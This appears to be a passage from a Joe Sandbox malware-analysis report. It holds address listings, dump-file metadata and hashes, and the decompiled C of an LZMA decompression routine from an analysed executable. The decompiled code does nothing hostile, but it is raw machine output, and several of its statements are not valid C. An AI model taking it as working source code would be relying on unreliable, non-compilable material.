0x00406980
0x00406980
0x00406983
0x00000000
0x00000000
0x00406b17
0x00406b1a
0x00000000
0x00000000
0x00406751
0x00406753
0x0040675a
0x0040675b
0x0040675d
0x00406760
0x00000000
0x00000000
0x00406768
0x0040676b
0x0040676e
0x00406770
0x00406772
0x00406772
0x00406773
0x00406776
0x0040677d
0x00406780
0x0040678e
0x00000000
0x00000000
0x00406a64
0x00406a64
0x00406a67
0x00406a6e
0x00000000
0x00000000
0x00406a73
0x00406a73
0x00406a77
0x00406baf
0x00000000
0x00406baf
0x00406a7d
0x00406a80
0x00406a83
0x00406a87
0x00406a8a
0x00406a90
0x00406a92
0x00406a92
0x00406a92
0x00406a95
0x00406a98
0x00406a98
0x00406a98
0x00406a98
0x00406a9b
0x00406a9b
0x00406a9f
0x00406aff
0x00406b02
0x00406b07
0x00406b08
0x00406b0a
0x00406b0c
0x00406b0f
0x00000000
0x00406b0f
0x00406aa1
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406adb
0x00406ade
0x00406ae1
0x00406ae4
0x00406ae8
0x00406aea
0x00406aea
0x00406aeb
0x00406aee
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad6
0x00406ad6
0x00406af1
0x00406af8
0x00000000
0x00406afa
0x00000000
0x00406afa
0x00000000
0x00406796
0x00406799
0x004067cf
0x004068ff
0x004068ff
0x004068ff
0x004068ff
0x00406902
0x00406902
0x00406905
0x00406907
0x00406b91
0x00000000
0x00406b91
0x0040690d
0x00406910
0x00000000
0x00000000
0x00406916
0x0040691a
0x0040691d
0x0040691d
0x0040691d
0x00000000
0x0040691d
0x0040679b
0x0040679d
0x0040679f
0x004067a1
0x004067a4
0x004067a5
0x004067a7
0x004067a9
0x004067ac
0x004067af
0x004067c5
0x004067ca
0x00406802
0x00406802
0x00406806
0x00406832
0x00406834
0x0040683b
0x0040683e
0x00406841
0x00406841
0x00406846
0x00406846
0x00406848
0x0040684b
0x00406852
0x00406855
0x00406882
0x00406882
0x00406885
0x00406888
0x004068fc
0x004068fc
0x004068fc
0x00000000
0x004068fc
0x0040688a
0x00406890
0x00406893
0x00406896
0x00406899
0x0040689c
0x0040689f
0x004068a2
0x004068a5
0x004068a8
0x004068ab
0x004068c4
0x004068c6
0x004068c9
0x004068ca
0x004068cd
0x004068cf
0x004068d2
0x004068d4
0x004068d6
0x004068d9
0x004068db
0x004068de
0x004068e2
0x004068e4
0x004068e4
0x004068e5
0x004068e8
0x004068eb
0x004068ad
0x004068ad
0x004068b5
0x004068ba
0x004068bc
0x004068bf
0x004068bf
0x004068ee
0x004068f5
0x0040687f
0x0040687f
0x0040687f
0x0040687f
0x00000000
0x004068f7
0x00000000
0x004068f7
0x004068f5
0x00406808
0x0040680b
0x0040680d
0x00406810
0x00406813
0x00406816
0x00406818
0x0040681b
0x0040681e
0x0040681e
0x00406821
0x00406821
0x00406824
0x0040682b
0x004067ff
0x004067ff
0x004067ff
0x004067ff
0x00000000
0x0040682d
0x00000000
0x0040682d
0x0040682b
0x004067b1
0x004067b4
0x004067b6
0x004067b9
0x00000000
0x00000000
0x00406518
0x00406518
0x0040651c
0x00406b61
0x00000000
0x00406b61
0x00406522
0x00406525
0x00406528
0x0040652b
0x0040652e
0x00406531
0x00406534
0x00406536
0x00406539
0x0040653c
0x0040653f
0x00406541
0x00406541
0x00406541
0x00000000
0x00000000
0x00000000
0x00000000
0x00406920
0x00406920
0x00406920
0x00406924
0x00000000
0x00000000
0x0040692a
0x0040692d
0x00406930
0x00406933
0x00406935
0x00406935
0x00406935
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x00406948
0x0040694a
0x0040694a
0x0040694a
0x0040694d
0x00406950
0x00406953
0x00406956
0x00406959
0x0040695d
0x0040695f
0x00406962
0x00000000
0x00406964
0x00000000
0x00406964
0x00406962
0x00406b97
0x00000000
0x00000000
0x004061c6

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 112a48c21f92b6a8e33e5cbf0d578aa67701f3a308a0143f1b2e2e22e9c0a048
Instruction ID: 56628f401a4fc6d73e137493fcd66a1037cbd66c5efac646bb7951d26cabb475
Opcode Fuzzy Hash: 112a48c21f92b6a8e33e5cbf0d578aa67701f3a308a0143f1b2e2e22e9c0a048
Instruction Fuzzy Hash: CF815871D00228CFDF24CFA8C8447ADBBB1FB45305F25816AD856BB281D7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406184 Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406184(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00406BD6))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12);
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406194
0x0040619b
0x004061a1
0x004061a7
0x00000000
0x004061ab
